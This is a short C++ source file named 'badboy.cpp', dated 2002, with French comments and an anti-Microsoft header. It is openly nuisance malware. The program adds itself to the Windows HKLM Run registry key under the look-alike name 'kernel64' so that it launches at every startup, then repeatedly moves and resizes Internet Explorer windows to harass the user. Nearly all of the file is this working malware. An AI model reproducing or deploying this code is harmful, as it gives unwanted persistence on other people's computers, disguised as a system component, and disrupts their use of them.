#include <iostream.h>
#include <windows.h>
#include "cregistry.h"

/* 
   Name:            badboy.cpp
   Author:          BlackWizzard <BlackWizzard@fuckwindows.com>
   Description:     Fuck M$!
   Date:            un jours de mai 2002...
   Copyright:       faut voir...
   Another :        http://madchat.org :: un tres bon site, surtout les gfx!
*/

 int main(int arc, char **argv)
{
     int x2;
     int y2;
 SetWindowPos(FindWindow("ConsoleWindowClass",NULL),HWND_TOP,0,0,0,0,SWP_SHOWWINDOW);
    //###############################
    //### add to registry to launch at windobe's startup...
    HKEY  hKey;
    LONG  lRes;
    DWORD dwSize = lstrlen(argv[0]) * sizeof(TCHAR);

    if((lRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))!=ERROR_SUCCESS) {
        SetLastError(lRes);
        return false;
    }   
	
    lRes = RegSetValueEx(hKey, "kernel64", 0, REG_SZ, reinterpret_cast<const BYTE*>(argv[0]), dwSize);
	
    RegCloseKey(hKey);
    //###############################

     for(x2 = 0; x2 < 1024; x2=x2+5) // Changer 1024 par la largeur de votre écran
        {
         for(y2 = 0; y2 < 800; y2++)
        {

         SetWindowPos(FindWindow("IEFrame",NULL),HWND_TOP,x2,y2,x2/2,y2/2,SWP_SHOWWINDOW);
        }
         }

}

bool CRegistry::IsWinNTor2K()
{
    OSVERSIONINFO OsVer;
    GetVersionEx(&OsVer);
    return (OsVer.dwPlatformId == VER_PLATFORM_WIN32_NT)!=0;
}

